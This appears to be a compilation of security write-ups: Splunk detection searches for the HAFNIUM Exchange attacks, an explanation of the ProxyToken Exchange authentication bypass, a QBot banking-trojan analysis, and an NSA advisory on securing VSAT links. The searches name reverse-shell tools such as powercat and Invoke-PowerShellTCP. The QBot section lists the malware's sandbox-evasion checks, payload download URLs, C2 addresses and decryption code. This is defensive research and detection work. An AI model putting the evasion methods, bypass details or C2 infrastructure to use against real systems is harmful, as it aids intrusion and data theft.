string patterns known to be associated with this attack, as was mentioned earlier today by our friends at Red Canary. You’ll also want to add a monitoring entry to capture log activity in C:\Program Files\Microsoft\Exchange Server\V15\Logging\HttpProxy. Refer to the Volexity blog post for other interesting User-Agents seen both pre and post-exploit. ## Yes, Yet Again, We Need Windows Events and Command Line Auditing While you’re under the hood of that Universal Forwarder, you might as well ensure you’re collecting both Windows Security events of interest and process start events, as both of those are important for certain HAFNIUM detections. For this, we recommend you use the Technical Add-On for Windows and also collect event 4688 (with command line arguments) from the Security event log, OR you can always use Microsoft Sysmon and collect event 1. These process start events can be searched for anomalous execution of the Exchange UM service. You can also configure auditing on your Exchange server UM process and then search for Windows 4663 events for suspicious FileCreated events (in this case, the web shells). However, be careful here - the possibility to generate many thousands of 4663 events exists if you do not set up your auditing policies correctly! Finally, collect the Application log from your Exchange servers, again using the Windows TA. This allows you to search for errors in the log containing specific patterns in the RenderedDescription field about the Exchange UM service’s execution. ## Detecting HAFNIUM and Exchange Zero-Day Activity in Splunk Here we will give you some hot-off-the-press searches to help find some of the HAFNIUM badness derived from the Volexity and Microsoft blogs. If we have coverage for these searches in ESCU, we call them out further below in the MITRE ATT&CK section. Please note that the actual remote code execution (RCE) proof of concept (POC) for these CVEs has not been publicly released. As such, the detections below are all derived from the original blogs from Microsoft and Volexity. When we have more information, we will publish updates! ## Indicators of Compromise (IOCs) Both Volexity and Microsoft published IOCs, including IP addresses of observed attackers, web shell hashes and filenames, and user-agents in their blog posts. We have converted these indicators into simple CSV format so that you may use them as lookup tables. ## Authentication Bypass Vulnerability From Volexity’s blog, we see that this exploit is bypassing authentication and then moving to access users’ emails with minimal effort. The exploit requires an HTTP POST to files in a specific directory /owa/auth/Current/themes/resources/. We can detect this behavior via the following search, which requires ingesting the IIS logs on the Exchange OWA server. ```plaintext index=* sourcetype="ms:iis:auto" http_method=POST uri_path="/owa/auth/Current/themes/resources/*" | stats count by src_ip, http_user_agent, uri_path, http_method, uri_query ``` ## Nishang PowerShell framework One of the tools used by HAFNIUM in this attack was using the Nishang PowerShell framework. One method would be to look for PowerShell messages where the Nishang commandlets called out in the Microsoft blog would be detected: ```plaintext index="*" sourcetype="WinEventLog" source="WinEventLog:Security" EventCode=4104 Message="* Invoke-PowerShellTCP*" ``` Another would be to use event code 4688 and find some of the specific activity executed: ```plaintext index="*" sourcetype="WinEventLog" source="WinEventLog:Security" EventCode=4688 Creator_Process_Name="powershell.exe" System.Net.Sockets.TCPClient ``` ## Powercat detection The adversary used PowerShell to download and execute Powercat in memory. We’ve talked about PowerShell and IEX cradles for years at Splunk. One simple way to detect if you were affected by this activity is to make sure you are bringing in event code 4104 and check for “powercat”: ```plaintext index="*" sourcetype="WinEventLog" source="WinEventLog:Security" EventCode=4104 Message="*powercat*" ``` ## Exchange Unified Messaging Service Creating Executable Content The Unified Messaging Service in Microsoft Exchange Server may be abused by HAFNIUM to create executable content in common server-side formats such as PHO, JSP, ASPX, etc. It is unusual and dangerous for a server-side component like the Unified Messaging Service to create new executable content. Such content, if subsequently executed, could be used for remote code execution. This search inspects Event ID 4663 file system audit logs for evidence that the Unified Messaging service has been misused to create new executable content on the server. ```plaintext index=* sourcetype=WinEventLog source="WinEventLog:Security" EventCode=4663 Object_Type="File" (Object_Name="*.php" OR Object_Name="*.jsp" OR Object_Name="*.js" OR Object_Name="*.aspx" OR Object_Name="*.asmx" OR Object_Name="*.cfm" OR Object_Name="*.shtml") (Process_Name="*umworkerprocess.exe*" OR Process_Name="*UMService.exe*") ``` ## Exchange Unified Messaging Service Creating Child Process The Unified Messaging Service in Microsoft Exchange Server may be abused by HAFNIUM to launch child processes. Watching for unusual parent processes is a well-established detection technique that we can adapt and apply in this situation. This Splunk search takes advantage of Windows Event ID 4688, also referred to as Process Creation events. When the parent process is related to Exchange Unified Messaging, the process may be suspicious. This search employs a NOT clause to help reduce noise. ```plaintext index=* sourcetype="WinEventLog" source="WinEventLog:Security" EventCode=4688 (Creator_Process_Name="*umworkerprocess.exe*" OR Creator_Process_Name="*UMService.exe*") NOT New_Process_Name="*UMWorkerProcess.exe*" ``` ## Finding Hacker Tools Suspicious zip, rar, and 7z files that are created in C:\ProgramData\ may indicate possible data staging for exfiltration. The searches below for Sysmon and Windows Event logs, respectively, may assist in identifying these files. ```plaintext index=* (sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" OR source="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational") EventCode=11 (TargetFilename="C:\\ProgramData\\*.rar" OR TargetFilename="C:\\ProgramData\\*.zip" OR TargetFilename="C:\\ProgramData\\*.7z") ``` OR ```plaintext index=* (sourcetype="WinEventLog" source="WinEventLog:Security" OR sourcetype=XmlWinEventLog source="XmlWinEventLog:Security") EventCode=4663 AccessList="%%4417" (ObjectName="C:\\ProgramData\\*.rar" OR ObjectName="C:\\ProgramData\\*.zip" OR ObjectName="C:\\ProgramData\\*.7z") ``` It has also been noted that the execution of 7-Zip to create archives as a means of staging data for exfiltration has been utilized as well. To determine if this specific file has been executed, the following searches using Sysmon and Windows Event logs, respectively, can be used as a starting point. ```plaintext index=* (sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" OR source="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational") EventCode=1 CommandLine="C:\\ProgramData\\7z*" ``` OR ```plaintext index=* (sourcetype="WinEventLog" source="WinEventLog:Security" OR sourcetype=XmlWinEventLog source="XmlWinEventLog:Security") EventCode=4688 process="C:\\ProgramData\\7z*" ``` ## Web Shells If you don’t have IIS logs, don’t fret, Wire data (like Splunk for Stream) or Zeek logs that capture web traffic can also serve as a way of gaining some visibility. Obviously, we need a “Hunting with Splunk” post on the subject! However, until then, check out this classic Youtube video from James Bower about how to hunt web shells with Splunk. ## Splunk Enterprise Security and ESCU ### Know thyself While we have spent some time explaining that this attack is essential and effort needs to be put toward investigating this, it is also important to note that the basics are important. Basic asset management, hopefully via your asset and identity framework, will tell you where your Exchange servers reside. Running regular vulnerability scans that integrate into Splunk will display which Exchange servers are vulnerable and can help you prioritize your patching schedule and better focus your detection efforts. ### Threat Intelligence Framework If you are using Splunk Enterprise Security, the lookups of IOCs that are listed above can be ingested easily into the threat intelligence framework. Perhaps you aren’t sure how to do that. No worries, we published some guidance and a how-to on integrating lists of IOC into the Enterprise Security threat intelligence framework. ### Enterprise Security Content Updates (ESCU) For folks using ESCU, our Security Research team will release a new Splunk Analytic Story called “HAFNIUM Group” on March 4th, 2021, containing detections for this threat. Saying that, check out the MITRE ATT&CK table below. If you have ESCU running today, you already have some great coverage! ## MITRE ATT&CK Reviewing the blog posts from Microsoft and Volexity, we mapped the adversary’s activity to MITRE ATT&CK. Each tactic is then linked to Splunk Content to help you hunt for that information. Be aware; these searches are provided as a way to accelerate your hunting. We recommend you configure them via the Splunk Security Essentials App. You may need to modify them to work in your environment! Many of these searches are optimized for use with the tstats command. Finally, as more information becomes available, we will update these searches if more ATT&CK TTPs become known. | ATT&CK Tactic | Title | HAFNIUM Activity | Splunk Searches | |---------------|-------|------------------|-----------------| | T1003.001 | OS Credential Dumping: LSASS Memory | Used Procdump to export LSASS | Dump of LSASS using comsvcs.dll | | T1059.001 | Command and Scripting Interpreter: PowerShell | Nishang PowerShell | Malicious PowerShell Process - Connect To Internet With Hidden Window, Malicious PowerShell Process - Execution Policy Bypass Attempt To Set Default PowerShell Execution Policy To Unrestricted or Bypass | | T1114.001 | Email Collection: Local Email Collection | PowerShell | Email files written outside of the email directory | | T1136 | Create Account | Add user accounts | Detect New Local Admin account | | T1003.003 | OS Credential Dumping: NTDS | Steal copies of the Active Directory database (NTDS.DIT) | Ntdsutil export ntds | | T1021.002 | Remote Services: SMB/Windows Admin Shares | Lateral movement | Detect PsExec With accepteula Flag | Here is a list of all the MITRE ATT&CK TTPs that we saw being used in this attack: T1003.001, T1005, T1027, T1046, T1059, T1059.001, T1070, T1071, T1074.002, T1083, T1110, T1190, T1505, T1560.001, T1589.002, T1590.002. ## Conclusion We know that this is a significant vulnerability and that customers will want to patch as soon as possible and determine if they were affected by this attack in the past. If you haven’t patched yet, hopefully, these searches will provide you the ability to have more visibility into your environment and any malicious activity that you might be experiencing. If they don’t work perfectly, think of them as “SplunkSpiration.” As soon as we have more information, we will update this blog and, as we talked about earlier, be on the lookout for more detections from our threat research team that will be released through Enterprise Security Content Updates. As always, security at Splunk is a family business. **Credit to authors and collaborators:** Mick Baccio James Brodsky Shannon Davis Michael Haag Amy Heng Jose Hernandez Dave Herrald Ryan Kovar Marcus LaFerrera John Stoner
# ProxyToken: An Authentication Bypass in Microsoft Exchange Server Continuing with the theme of serious vulnerabilities that have recently come to light in Microsoft Exchange Server, in this article we present a new vulnerability we call ProxyToken. It was reported to the Zero Day Initiative in March 2021 by researcher Le Xuan Tuyen of VNPT ISC, and it was patched by Microsoft in the July 2021 Exchange cumulative updates. Identifiers for this vulnerability are CVE-2021-33766 and ZDI-CAN-13477. With this vulnerability, an unauthenticated attacker can perform configuration actions on mailboxes belonging to arbitrary users. As an illustration of the impact, this can be used to copy all emails addressed to a target account and forward them to an account controlled by the attacker. ## The Trigger The essential HTTP traffic needed to trigger the vulnerability is as follows: “SecurityToken=x”? What might this be, some secret backdoor access code? ## Understanding the Root Cause To understand what has happened here, it is necessary to discuss a bit about the architecture of Exchange Server. Recently, security researcher Orange Tsai has done excellent work in this area, and readers are encouraged to read his full findings. However, for the purposes of this particular vulnerability, the salient points will be summarized below. Microsoft Exchange creates two sites in IIS. One is the default website, listening on ports 80 for HTTP and 443 for HTTPS. This is the site that all clients connect to for web access (OWA, ECP) and for externally facing web services. It is known as the “front end.” The other site is named “Exchange Back End” and listens on ports 81 for HTTP and 444 for HTTPS. The front-end website is mostly just a proxy to the back end. To allow access that requires forms authentication, the front end serves pages such as /owa/auth/logon.aspx. For all post-authentication requests, the front end’s main role is to repackage the requests and proxy them to corresponding endpoints on the Exchange Back End site. It then collects the responses from the back end and forwards them to the client. Exchange is a highly complex product, though, and this can lead to some wrinkles in the usual flow. In particular, Exchange supports a feature called “Delegated Authentication” supporting cross-forest topologies. In such deployments, the front end is not able to perform authentication decisions on its own. Instead, the front end passes requests directly to the back end, relying on the back end to determine whether the request is properly authenticated. These requests that are to be authenticated using back-end logic are identified by the presence of a SecurityToken cookie. Thus, for requests within /ecp, if the front end finds a non-empty cookie named SecurityToken, it delegates authentication to the back end. Code on the back end that examines and validates the SecurityToken cookie is found in the class Microsoft.Exchange.Configuration.DelegatedAuthentication.DelegatedAuthenticationModule. What goes wrong on the validation side? To see the answer, have a look at /ecp/web.config on the back end: As you can see, in a default configuration of the product, a <remove> element appears, so that the module DelegatedAuthModule will not be loaded at all for the back-end ECP site. In summary, when the front end sees the SecurityToken cookie, it knows that the back end alone is responsible for authenticating this request. Meanwhile, the back end is completely unaware that it needs to authenticate some incoming requests based upon the SecurityToken cookie, since the DelegatedAuthModule is not loaded in installations that have not been configured to use the special delegated authentication feature. The net result is that requests can sail through, without being subjected to authentication on either the front or back end. ## Bagging a Canary There is one additional hurdle to clear before we can successfully issue an unauthenticated request, but it turns out to be a minor one. Each request to an /ecp page is required to have a ticket known as the “ECP canary.” Without a canary, the request will come back with an HTTP 500. However, the attacker is still in luck, because the 500 error response is accompanied by a valid canary. An example of the final request would then be as follows: This particular exploit assumes that the attacker has an account on the same Exchange server as the victim. It installs a forwarding rule that allows the attacker to read all the victim’s incoming mail. On some Exchange installations, an administrator may have set a global configuration value that permits forwarding rules having arbitrary Internet destinations, and in that case, the attacker does not need any Exchange credentials at all. Furthermore, since the entire /ecp site is potentially affected, various other means of exploitation may be available as well. ## Conclusion Exchange Server continues to be an amazingly fertile area for vulnerability research. This can be attributed to the product’s enormous complexity, both in terms of feature set and architecture. We look forward to receiving additional vulnerability reports in the future from our talented researchers who are working in this space. Until then, follow the team for the latest in exploit techniques and security patches.
# Deep Analysis of QBot Banking Trojan **July 15, 2020** **Abdallah Elshinbary** **Malware Analysis & Reverse Engineering Adventures** **11 minute read** QBot is a modular information stealer also known as Qakbot or Pinkslipbot. It has been active for years since 2007. It has historically been known as a banking Trojan, meaning that it steals financial data from infected systems. ## Infection Flow QBot can be delivered in various different ways including Malspam (Malicious Spam) or dropped by other malware families like Emotet. The infection flow for this campaign is as follows: First, the victim receives a phishing email with a link to a malicious zip file. The zip file contains a very obfuscated VBS file which downloads and launches Qbot executable. The VBS file tries to download Qbot from different places: - http://st29[.]ru/tbzirttmcnmb/88888888.png - http://restaurantbrighton[.]ru/uyqcb/88888888.png - http://royalapartments[.]pl/vtjwwoqxaix/88888888.png - http://alergeny.dietapacjenta[.]pl/pgaakzs/88888888.png - http://egyorg[.]com/vxvipjfembb/88888888.png Notice the misleading URL; it looks like it’s downloading a PNG image but the raw data says something else. ## Unpacking QBot is packed with a custom packer, but the unpacking process is really simple. It allocates memory for the unpacked code using `VirtualAlloc()` and changes memory protection using `VirtualProtect()`. So we just need 2 breakpoints at `VirtualAlloc()` and `VirtualProtect()`. ### Encrypted Strings Most of QBot strings are encrypted (stored in a continuous blob) and they are decrypted on demand. The decryption routine accepts one argument which is the index to the string then it XORs it with a hardcoded bytes array until it encounters a null byte. We can use IDAPython to decrypt the strings and add them as comments. ```python import idc import idautils dec_routine = 0x4065B7 enc_strings = 0x40B930 bytes_arr = 0x410120 def decrypt_string(idx): if idx >= 0x36F4: return # out of bounds res = "" while True: c = idc.get_wide_byte(enc_strings + idx) ^ idc.get_wide_byte(bytes_arr + (idx & 0x3F)) if c == 0: break res += chr(c) idx += 1 return res xrefs = idautils.CodeRefsTo(dec_routine, 0) for x in xrefs: ea = idc.prev_head(x) t = idc.get_operand_type(ea, 1) if t == idc.o_imm: idx = idc.get_operand_value(ea, 1) dec = decrypt_string(idx) idc.set_cmt(ea, dec, 1) ``` And here is the result, that’s much easier to work with. This should take care of most of the strings; the rest of strings indexes are calculated dynamically at runtime. We decrypt all strings by looping through the encrypted blob and decrypt strings one by one. ```python idx = 0 while idx < 0x36F4: dec = decrypt_string(idx) idx += len(dec) + 1 print(dec) ``` ## Anti-Analysis QBot spawns a new process of itself with the `"/C"` parameter; this process is responsible for doing Anti-Analysis checks. The parent process checks the exit code of this spawned process. If the exit code is not 0, it means that QBot is being analyzed (and so it exits). ### Checking VM In VMWare, communication with the host is done through a specific I/O port `0x5658`, so QBot uses the `in` assembly instruction to detect VMWare by reading from this port and checking the return value in `ebx` if it’s equal to `VMXh` (VMware magic value). If we are outside VMWare, a privilege error occurs and this code will return 0. Another Anti-VM trick is to check hardware devices against known devices names used by VMs and Sandboxes. Here is the list of devices names: - VMware Pointing - VMware Accelerated - VMware SCSI - VMware SVGA - VMware Replay - VMware server memory - CWSandbox - Virtual HD - QEMU - Red Hat VirtIO - srootkit - VMware VMaudio - VMware Vista - VBoxVideo - VBoxGuest - vmxnet - vmscsi - VMAUDIO - vmdebug - vm3dmp - vmrawdsk - vmx_svga - ansfltr - sbtisht ### Checking Processes QBot loops through running processes and compares their executable names against known analysis tools. Here is a list of some of the tools: - Fiddler.exe - samp1e.exe - sample.exe - runsample.exe - lordpe.exe - regshot.exe - Autoruns.exe - dsniff.exe - VBoxTray.exe - HashMyFiles.exe - ProcessHacker.exe - Procmon.exe - Procmon64.exe - netmon.exe - vmtoolsd.exe - vm3dservice.exe - VGAuthService.exe - pr0c3xp.exe - CFF Explorer.exe - dumpcap.exe - Wireshark.exe - idaq.exe - idaq64.exe - TPAutoConnect.exe - ResourceHacker.exe - vmacthlp.exe - OLLYDBG.EXE - windbg.exe - bds-vision-agent-nai.exe - bds-vision-apis.exe - bds-vision-agent-app.exe - MultiAnalysis_v1.0.294.exe - x32dbg.exe - VBoxService.exe - Tcpview.exe ### Checking DLLs Sandbox detection can be done by enumerating loaded DLLs and comparing them against known DLLs used by sandboxes. Here it’s just using 2 of them: - ivm-inject.dll # Buster Sandbox Analyzer - SbieDll.dll # SandBoxie ### Checking Filename Some sandboxes may change the sample file name. So QBot checks if its process name contains one of these strings: - sample - mlwr_smpl - artifact.exe ### Checking CPU The last check is done using `CPUID` instruction. First, it is executed with `EAX=0` to get the CPU vendor and compares it with `GenuineIntel` (Intel processor). Then it is executed with `EAX=1` to get the processors features. On a physical machine, the last bit will be equal to 0. On a guest VM, it will equal to 1. ## Back To Parent After the Anti-Analysis checks, QBot drops a copy of itself along with a configuration file at `%APPDATA%\Microsoft\<random_folder_name>`. Finally, QBot starts the dropped copy in a new process and overwrites itself with a legitimate executable, here it’s `calc.exe`. ## Configuration File The dropped configuration file is accessed frequently by Qbot; this file is RC4 encrypted. By setting a breakpoint before the contents of the file gets encrypted, I got the following data: | Field | Description | |-------|-------------| | 10 | spx143 | | 11 | 2 | | 1 | 13.59.00-24/06/2020 | | 2 | 1592996340 | | 50 | 1 | | 5 | VgBCAE8AWABTAFYAUgA7ADIA | | 38 | 1593047244 | | 45 | 187.163.101.137 | | 46 | 995 | | 39 | 45.242.76.104 | | 43 | 1593006172 | | 49 | 1 | ## Persistence QBot achieves persistence by creating a new registry value under the key `HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run`. It also registers a scheduled task that runs every 5 hours. ## Process Injection QBot tries to inject its unpacked code in one of these processes (`explorer.exe`, `mobsync.exe`, `iexplorer.exe`) and it uses Process Hollowing technique to achieve that. It first starts a new suspended process with `CreateProcessW()`, then it writes the injected code into the target process using `ZwCreateSection()`, `ZwMapViewOfSection()`, and `ZwWriteVirtualMemory()`. Finally, it sets the thread context to jump to the injected code and resume execution with `ResumeThread()`. ## Core Module The injected code loads and decrypts one of its resources `307`. After dumping it, I found out that it’s a DLL (this is the core module). The core module has 2 resources both RC4 encrypted. The first resource gets loaded into memory then RC4 decrypted. The contents of the decrypted resource are: - 10=spx143 (Campaign ID) - 3=1592482956 (Timestamp) After some digging, I found out how the resources are decrypted. The first 20 bytes of each resource are the RC4 key of this resource, and the rest are the actual encrypted data. So by using this find, we can decrypt the other resource `311`. Now we have the list of C2 servers (150 servers!). The reason there are many controllers is that these are actually just proxies of infected bots acting as intermediate nodes between the victim and the real C2 and thus hiding the backend infrastructure of the attacker. ## C2 Communication QBot obfuscates its communication with the C2 server by encrypting the payloads using RC4 and encoding the result using Base64. The communication is also done over SSL; you can notice that the traffic has unusual certificate issuer data. We can use Fiddler to intercept and decrypt the HTTPS traffic. The RC4 key for encrypting the payload is the SHA1 hash of the first 16 bytes of the Base64-decoded payload + a hardcoded salt (The salt is stored as an encrypted string). Here is an implementation of the decryption algorithm: ```python HARDCODED_SALT = b"jHxastDcds)oMc=jvh7wdUhxcsdt2" # decrypted string def decrypt_payload(encrypted_blob): b64_decoded = base64.b64decode(encrypted_blob) decryption_key = b64_decoded[:0x10] + HARDCODED_SALT sha1hash = hashlib.sha1() sha1hash.update(decryption_key) decryption_key_hash = sha1hash.digest() rc4 = ARC4(decryption_key_hash) return rc4.decrypt(b64_decoded[0x10:]) ``` The decrypted payload is in JSON form. - Decrypted C2 Request: `{"8":9,"1":17,"2":"pnmfcq111232"}` - Decrypted C2 Response: `{"8":5,"16":770897804,"39":"V4UnoDQSEblewhh63UfUqAns","38":1}` ## Commands List After establishing communication, the C2 server will send commands indexes to be executed. Here is the list of commands and their corresponding indexes (I have renamed the important commands). It’s worth mentioning that dynamic imports of the core DLL are stored in the same format as commands `"<address, API_index, DLL_index>"`, the API and DLL indexes are passed to the string decryption routine which returns their corresponding names then it uses `LoadLibrary` and `GetProcAddress` to resolve the imports. ### Command 13: Lateral Movement QBot can spread through the network by enumerating network shares using `WNetOpenEnumW()` and `WNetEnumResourceW()` then it drops a copy of Qbot into the shared folders. Then the dropped executable is registered as an auto-start service on the target machine. The names for the service and the dropped file are randomly generated strings. Finally, Qbot deletes the created service and dropped file from the target machine (as it’s successfully infected). ### Command 21: Collecting Installed Applications QBot can collect installed applications by enumeration subkeys of the registry key `HKLM\Software\Microsoft\Windows\CurrentVersion\Uninstall`. The collected data is appended to the end of a string containing additional information about the victim’s machine and time of collection. ``` t=i1 time=[<time_of_collect>] ext_ip=[<external_IP>] dnsname=[?] hostname=[<computer_name>] user=[] domain=[] is_admin=[<YES/NO>] os=[<windows_ver>] qbot_version=[<qbot_ver>] install_time=[<qbot_install_time>] exe=[<injected_process>] prod_id=[NULL] iface_n=[<interface_IP>/<interface_IP>] UP] soft=[<app1;ver>|<app2;ver>|...] ``` Example of collected data: Then the data is RC4 encrypted and written to `wdqlxw32.dll` at the same directory of QBot. Finally, `wdqlxw32.dll` is Zlib compressed and RC4 encrypted again then it’s saved to `cwdqlxw32.dll` and the original `wdqlxw32.dll` is deleted. The compressed file is then transferred to the C2 server (RC4 encrypted and Base64 encoded) in the key `36` and the compressed file `cwdqlxw32.dll` is also deleted. ### Command 31: Fetching Plugins As we said before, QBot is known to be a modular malware. It can load additional plugins received from the C2 server (plugins are RC4 encrypted and Base64 encoded). QBot tries to inject the received plugin in 3 different processes depending on the machine architecture. It creates a new suspended process then writes the plugin to the process memory using `WriteProcessMemory()` and then resumes the injected process. ## Conclusion QBot is considered to be sophisticated malware; it’s receiving regular updates from time to time and it’s not likely to go away anytime soon. There are still more features that I didn’t cover such as WebInjects, so maybe I will come back to Qbot later I guess :) ## IOCs ### Hashes - VBS File: `b734caf792c968ca1870c3ec7dda68ad5dc47fef548751afb8509752c185a756` - QBot: `112a64190b9a0f356880eebf05e195f4c16407032bf89fa843fd136da6f5d515` ### URLs - http://st29[.]ru/tbzirttmcnmb/88888888.png - http://restaurantbrighton[.]ru/uyqcb/88888888.png - http://royalapartments[.]pl/vtjwwoqxaix/88888888.png - http://alergeny.dietapacjenta[.]pl/pgaakzs/88888888.png - http://egyorg[.]com/vxvipjfembb/88888888.png ### C2 Domains - 39.36.254.179:995 - 24.139.132.70:443 - 24.202.42.48:2222 - 72.204.242.138:443 - 172.242.156.50:995 - 72.204.242.138:20 - 68.174.15.223:443 - 74.193.197.246:443 - 96.56.237.174:990 - 64.19.74.29:995 - 70.168.130.172:443 - 189.236.166.167:443 - 68.4.137.211:443 - 76.187.8.160:443 - 76.86.57.179:2222 - 73.226.220.56:443 - 67.250.184.157:443 - 75.183.171.155:3389 - 173.172.205.216:443 - 173.3.132.17:995 - 172.78.30.215:443 - 207.255.161.8:32103 - 75.137.239.211:443 - 68.49.120.179:443 - 206.51.202.106:50003 - 82.127.193.151:2222 - 207.255.161.8:2222 - 207.255.161.8:2087 - 24.152.219.253:995 - 187.19.151.218:995 - 197.37.48.37:993 - 188.241.243.175:443 - 72.88.119.131:443 - 89.137.211.239:443 - 108.30.125.94:443 - 187.163.101.137:995 - 100.19.7.242:443 - 45.77.164.175:443 - 80.240.26.178:443 - 66.208.105.6:443 - 207.246.75.201:443 - 199.247.22.145:443 - 199.247.16.80:443 - 95.77.223.148:443 - 68.60.221.169:465 - 5.107.220.84:2222 - 41.228.212.22:443 - 86.233.4.153:2222 - 68.200.23.189:443 - 201.146.127.158:443 - 79.114.199.39:443 - 87.65.204.240:995 - 71.74.12.34:443 - 17.162.149.212:443 - 195.162.106.93:2222 - 75.165.112.82:50002 - 201.248.102.4:2078 - 96.41.93.96:443 - 89.247.216.127:443 - 84.232.238.30:443 - 103.238.231.40:443 - 174.34.67.106:2222 - 98.115.138.61:443 - 91.125.21.16:2222 - 84.247.55.190:443 - 193.248.44.2:2222 - 74.135.37.79:443 - 78.96.190.54:443 - 86.126.97.183:2222 - 2.50.47.97:2222 - 68.39.160.40:443 - 96.232.203.15:443 - 86.144.150.29:2222 - 71.220.191.200:443 - 24.231.54.185:2222 - 80.14.209.42:2222 - 24.164.79.147:443 - 70.183.127.6:995 - 47.153.115.154:993 - 184.180.157.203:2222 - 50.104.68.223:443 - 67.165.206.193:995 - 200.113.201.83:993 - 47.153.115.154:465 - 24.42.14.241:995 - 189.160.203.110:443 - 188.27.76.139:443 - 207.255.161.8:32102 - 49.207.105.25:443 - 71.210.177.4:443 - 117.242.253.163:443 - 50.244.112.106:443 - 69.92.54.95:995 - 41.34.91.90:995 - 72.204.242.138:53 - 41.97.138.74:443 - 72.29.181.77:2078 - 71.88.168.176:443 - 2.50.171.142:443 - 67.83.54.76:2222 - 86.125.145.90:2222 - 47.153.115.154:995 - 24.122.157.93:443 - 47.146.169.85:443 - 72.181.9.163:443 - 187.155.74.5:443 - 71.209.187.4:443 - 74.75.216.202:443 - 24.44.180.236:2222 - 24.43.22.220:993 - 108.188.116.179:443 - 100.4.173.223:443 - 76.170.77.99:443 - 70.95.118.217:443 - 134.0.196.46:995 - 68.225.56.31:443 - 72.204.242.138:32102 - 72.204.242.138:50001 - 108.190.151.108:2222 - 72.204.242.138:465 - 50.244.112.10:443 - 173.22.120.11:2222 - 24.43.22.220:995 - 24.43.22.220:443 - 92.17.167.87:2222 - 72.209.191.27:443 - 72.204.242.138:80 - 72.204.242.138:443 ## References - Demystifying QBot Banking Trojan - BSides Belfast - https://www.virusbulletin.com/virusbulletin/2017/06/vb2016-paper-diving-pinkslipbots-latest-campaign - https://www.fortinet.com/blog/threat-research/deep-analysis-qbot-campaign - https://www.vkremez.com/2018/07/lets-learn-in-depth-reversing-of-qakbot.html - https://www.hexacorn.com/blog/2016/07/01/enter-sandbox-part-12-the-library-of-naughty-libraries/ - https://www.cyberbit.com/blog/endpoint-security/anti-vm-and-anti-sandbox-explained/
# National Security Agency | Cybersecurity Advisory ## Protecting VSAT Communications VSAT communications are at risk. Commercial Very Small Aperture Terminal (VSAT) networks are increasingly used for remote communications in support of U.S. government missions. Due to the nature of VSAT network communication links and recent vulnerabilities discovered in VSAT terminals, network communications over these links are at risk of being exposed and may be targeted by adversaries for the sensitive information they contain or to compromise connected networks. Most of these links are unencrypted, relying on frequency separation or predictable frequency hopping rather than encryption to separate communications. Public vulnerability research has found certain terminal equipment vulnerable to compromise and illicit firmware modification. NSA recommends: - Enabling TRANSEC - Segmenting and encrypting networks before VSAT links - Updating equipment and firmware Recent Russian cyber activity in Ukraine further underscores the risk to VSAT communications for both espionage and disruption. According to a recent U.S. and European Union statements, the Russian military launched cyber attacks in late February against commercial satellite communications networks to disrupt Ukrainian command and control during the invasion, and those actions had spillover impacts into other European countries. The activity disabled very small aperture terminals in Ukraine and across Europe, including tens of thousands of terminals outside of Ukraine that, among other things, support wind turbines and provide Internet services to private citizens. ## Encrypt Network Communications Over VSAT Links VSAT systems (including terminals, modems, and ground stations) should be treated as unencrypted wireless networks for cybersecurity purposes. In other words, they should not be relied on to provide confidentiality from motivated cyber actors. Although they offer "virtual" network separation capabilities, such logical isolation cannot be trusted to provide access control, separation, or confidentiality of sensitive information. Further, many of these networks can be gateways to the Internet, making them easy targets for remote exploitation. When using VSAT networks—as with any other untrusted transport network—information should first be secured using network encryption solutions to achieve confidentiality and protect against malicious cyber activity. According to U.S. policy, controlled unclassified information (CUI) should be encrypted with commercial network encryption solutions, such as Internet Protocol Security (IPsec) or Transport Layer Security virtual private networks (TLS VPNs) first. Depending on network needs, many solutions exist to provide scalable encryption links. Point-to-point communications over otherwise unencrypted IP-based networks may utilize (in accordance with NIST SP 800-131A rev2 and SP 800-56A rev3 guidance) IKE/IPsec-encrypted VPNs using certificates or pre-shared keys to authenticate peers and a Diffie-Hellman (DH) key exchange of at least 3072 bits or Elliptic Curve DH (ECDH) keys of 384 bits or larger (groups 14, 15, 16, 19, or 20). Point-to-point communications for National Security Systems should conform to CNSSP 15 standards. Pre-shared keys should not be used with aggressive mode and should be protected from unauthorized disclosure. These IPsec VPNs provide mutual authentication to both ends of the VPN and protect the confidentiality of the data in transit. Similar cryptographic algorithms should be employed for TLS-based VPNs. Multipoint encrypted VPNs may be appropriate in architectures where many point-to-point VPNs are unmanageable. Examples of commercial multipoint VPN products include Cisco® GET VPN, Cisco FlexVPN (previously known as DMVPN), and Juniper® Auto Discovery VPN (ADVPN). Encrypted VPN solutions protect the authenticity, integrity, and confidentiality of network traffic before passing it over the VSAT link. NSA recommends using mutually authenticated, encrypted TRANSEC. The encryption should be applied down to and including the outermost vendor-proprietary transmission protocol, using an NSA-approved cryptographically generated pseudorandom key stream (AES 256) and key management scheme. Best practice guidance on using commercial satellite communications (SATCOM) is that network owners not use descriptive naming conventions and identifiers in SATCOM and mobile communications device configurations. This can complicate identification of devices and network topologies by external actors to understand their purposes. ## Additional VSAT Best Practices NSA recommends keeping all IT equipment up to date. VSAT equipment is no exception. Networking equipment is increasingly becoming a target for malware, and the vulnerabilities above suggest that VSAT terminals and network infrastructure could be targeted like other networking technologies. Avoiding direct Internet access can reduce the attack surface, but should not be seen as a substitute for closing known terminal equipment vulnerabilities through software and firmware updates. Device updates and upgrades should be acquired from trusted, known-good sources. In addition, VSAT systems utilize vendor-specific default credentials, which are published in user manuals; these passwords can enable root access to VSAT network management systems. NSA recommends changing all default credentials. VSAT networks are designed for high-availability connections with sometimes little in terms of default authentication measures. Due to this, NSA recommends that VSAT networks be segmented with approved firewalls and other similar technology. This segmentation should isolate the management plane of the network, such as the network management system, so that it is not accessible by remote VSAT modems apart from vendor-identified ports and protocols. ## Worldwide Connectivity Commercial VSAT technologies provide valuable, worldwide connectivity options, enabling multiple mission types when more robust options are unavailable or impractical. Users of such networks should ensure that data transmissions are encrypted, adopt network hygiene best practices, and seek to continuously monitor the VSAT network for unauthorized activity. Users should consider possible threats and the associated mission impacts when selecting SATCOM solutions.
